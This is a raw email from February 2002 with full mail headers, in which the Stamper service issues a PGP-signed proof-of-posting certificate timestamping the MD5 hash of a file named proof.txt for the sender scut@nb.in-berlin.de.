9 for scut@localhost (single-drop); Thu, 14 Feb 2002 22:39:38 +0100 (CET)
10Received: from uucp by nb.nb with local-rmail (Exim 3.33 #1 (Debian))
11 id 16bTgi-0000Te-00
12 for <scut@nb.in-berlin.de>; Thu, 14 Feb 2002 22:45:08 +0100
13Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
14 by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1ELTfsr022797
15 for <scut@nb.in-berlin.de>; Thu, 14 Feb 2002 22:29:41 +0100
16Received: from m05.itconsult.net (m05.itconsult.net [212.9.23.215])
17 by gnu.in-berlin.de (8.12.1/8.12.1/Debian -5) with ESMTP id g1ELTeLQ008842
18 for <scut@nb.in-berlin.de>; Thu, 14 Feb 2002 22:29:41 +0100
19Received: from stamper.itconsult.co.uk (stamper.itconsult.co.uk [212.9.23.18]) by m05.stamper.itconsult.co.uk (NTMail 7.01.0026/NT8923.00.86249c50) with ESMTP id zqwdvbaa for scut@nb.in-berlin.de; Thu, 14 Feb 2002 21:29:32 +0000
20From: Stamper <mailer@stamper.itconsult.co.uk>
21To: scut@nb.in-berlin.de
22Subject: Proof of Posting Certificate 0071864:Proof: 2002-02-14
23Message-Id: <0071864.a@stamper.itconsult.co.uk>
24Date: Thu, 14 Feb 2002 21:29:32 +0000
25Sender: uucp <uucp@nb.in-berlin.de>
26Status: RO
27Content-Length: 2516
28Lines: 69
29
30Stamper is a service provided free of charge to Internet users.
31
32You are very welcome to use Stamper, but you may only do so if
33you have first read our Terms of use, which exclude liability on
34our part and which provide for you to indemnify us against any
35potential liability arising from your use of Stamper. By using
36Stamper you warrant that you have read and accept the Terms.
37
38The Terms of use are available by sending email to
39info@stamper.itconsult.co.uk or from the web page
40http://www.itconsult.co.uk/stamper.htm.
41
42
43To: scut@nb.in-berlin.de
44Received: from port-213-20-228-177.reverse.qdsl-home.de (port-213-20-228-177.reverse.qdsl-home.de [213.20.228.177]) by m05.stamper.itconsult.co.uk (NTMail 7.01.0026/NT8923.00.86249c50) with ESMTP id uqwdvbaa for post@stamper.itconsult.co.uk; Thu, 14 Feb 2002 21:29:30 +0000
45Received: from scut by golem.nb with local (Exim 3.34 #1 (Debian))
46 id 16bTRO-0000WS-00; Thu, 14 Feb 2002 22:29:18 +0100
47Date: Thu, 14 Feb 2002 22:29:18 +0100
48From: Sebastian <scut@nb.in-berlin.de>
49Subject: Proof: 2002-02-14
50Message-ID: <20020214212918.GB1217@golem.nb>
51Mime-Version: 1.0
52Content-Type: text/plain; charset=us-ascii
53Content-Disposition: inline
54User-Agent: Mutt/1.3.27i
55
56-----BEGIN PGP SIGNED MESSAGE-----
57
58########################################################
59#
60# This is a proof of posting certificate from
61# stamper.itconsult.co.uk certifying that a user
62# claiming to be:-
63# scut@nb.in-berlin.de
64# requested that this message be sent to:-
65# scut@nb.in-berlin.de
66#
67# This certificate was issued at 21:29 (GMT)
68# on Thursday 14 February 2002 with reference 0071864
69#
70# CAUTION: while the message may well be from the sender
71# indicated in the "From:" header, the sender
72# has NOT been authenticated by this service
73#
74# For information about the Stamper service see
75# http://www.itconsult.co.uk/stamper.htm
76#
77########################################################
78
79
80
81b8cdafb0cc3d4f0ef3a0988120ccfbd0 proof.txt
82
83
84-----BEGIN PGP SIGNATURE-----
85Version: 2.6.3i
86Charset: noconv
87Comment: Stamper Reference Id: 0071864
88
89iQEVAgUBPGwsO4GVnbVwth+BAQHAxQf9F3mWe9aLuq2+KLYwGMon3SVFZXuK31TX
90kaXjoThwR07ZaH6svXS2yW+QcWWIbTXBe5HVu+AwBgedJjNS2LO/BZtktiUP019m
91C3xJlS760hoWEAKdtmfAlSrW7QTIRl2NnuCWv9x1E0LdizQIySVl8S8UGBPShJVn
92BCaFcB8nOw9sOtlPWB+YMbQd0VERtyx5ekmviHeaODIBWudzImxXiBZGkvhR65n/
93cQJ4RbLRMSEcux2NXOn2KJQT4kx6gfmhrEISOH5/6z4t3v75Rx0t7vayrWY3drrX
94fTvgO/B7izYFkOcsnyo9YiMF9NK/tq42WPFNBCo36Dtf1fm1MkAjDQ==
95=u7hl
96-----END PGP SIGNATURE-----
97
98
99